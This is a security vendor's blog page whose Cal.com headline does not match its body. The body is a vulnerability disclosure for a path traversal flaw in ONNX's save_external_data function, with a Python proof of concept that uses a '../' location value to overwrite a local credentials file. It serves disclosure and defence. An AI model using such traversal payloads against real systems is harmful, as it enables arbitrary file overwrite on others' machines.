How Cal.com Rebuilt AppSec After Going Closed Source
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
We weren’t aware of the first finding posted on Huntr, and happy to retrospectively credit Micheal. Edit made on October 14th, 2025.
The library’s save_external_data function allows arbitrary file overwrite through path traversal. This allows attackers to craft malicious tensor data with specially constructed external_data paths using ”../” sequences to escape the intended directory and write to any location on the filesystem where the process has write permissions.
The vulnerability exists because the function does not validate or sanitize the user-controlled path before writing files. This vulnerability is similar to CVE-2024-5187, which affected the download_model_with_test_data function, but impacts a core functionality of ONNX.
tensor.external_data field, specifically in the location valuesave_external_data function in external_data_helper.pybase_path with user-controlled location:The function directly joins paths without validating, allowing path traversal via ../ sequences.
<code class="hljs language-python"><span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> onnx
<span class="hljs-keyword">from</span> onnx <span class="hljs-keyword">import</span> TensorProto
<span class="hljs-keyword">from</span> onnx.external_data_helper <span class="hljs-keyword">import</span> save_external_data
<span class="hljs-built_in">print</span>(<span class="hljs-string">f"ONNX version: <span class="hljs-subst">{onnx.__version__}</span>"</span>)
os.makedirs(<span class="hljs-string">"/tmp/secure_data"</span>, exist_ok=<span class="hljs-literal">True</span>)
os.makedirs(<span class="hljs-string">"/tmp/model_workspace"</span>, exist_ok=<span class="hljs-literal">True</span>)
<span class="hljs-comment"># sensitive file</span>
<span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">"/tmp/secure_data/credentials.txt"</span>, <span class="hljs-string">"w"</span>) <span class="hljs-keyword">as</span> f:
f.write(<span class="hljs-string">"api_key=secret123456789"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f"Before: <span class="hljs-subst">{<span class="hljs-built_in">open</span>(<span class="hljs-string">'/tmp/secure_data/credentials.txt'</span>, <span class="hljs-string">'r'</span>).read()}</span>"</span>)
<span class="hljs-comment"># model with path traversal</span>
model = TensorProto()
model.raw_data = <span class="hljs-string">b"EXPLOITED"</span> + <span class="hljs-string">b"X"</span> * <span class="hljs-number">10</span>
location = model.external_data.add()
location.key = <span class="hljs-string">"location"</span>
location.value = <span class="hljs-string">"../../../../../../../../tmp/secure_data/credentials.txt"</span>
position = model.external_data.add()
position.key = <span class="hljs-string">"offset"</span>
position.value = <span class="hljs-string">"0"</span>
save_external_data(tensor=model, base_path=<span class="hljs-string">"/tmp/model_workspace"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f"After: <span class="hljs-subst">{<span class="hljs-built_in">open</span>(<span class="hljs-string">'/tmp/secure_data/credentials.txt'</span>, <span class="hljs-string">'r'</span>).read()}</span>"</span>)
</code>Running this code will overwrite the content of /tmp/secure_data/credentials.txt with “EXPLOITEDXXXXXXXXXX”.

Artemiy Malyshau
Co-founder & CTO
Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.
The latest news, technologies, and resources from our team.
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
Authorization bypass in n8n’s dynamic-credentials OAuth endpoints allows any authenticated user to operate on another user’s OAuth credential by supplying its ID, enabling unauthorized OAuth rebinding and revocation.
Artemiy Malyshau
An IDOR vulnerability in n8n’s public variables API allows authenticated users to read project variables outside their authorized scope, exposing secrets across project boundaries.
Artemiy Malyshau
Learn API scanning for automated security testing. Find vulnerabilities from broken authentication to business logic flaws in your endpoints.
Artemiy Malyshau
A complete guide to automated pentest tools and best practices. Learn what works, what doesn’t, and how to implement continuous security testing.
Artemiy Malyshau
Compare the best AI-powered application security testing tools. Find which tools detect business logic flaws and broken access control.
Artemiy Malyshau
Occasional updates, new content, and insights. No spam; unsubscribe anytime.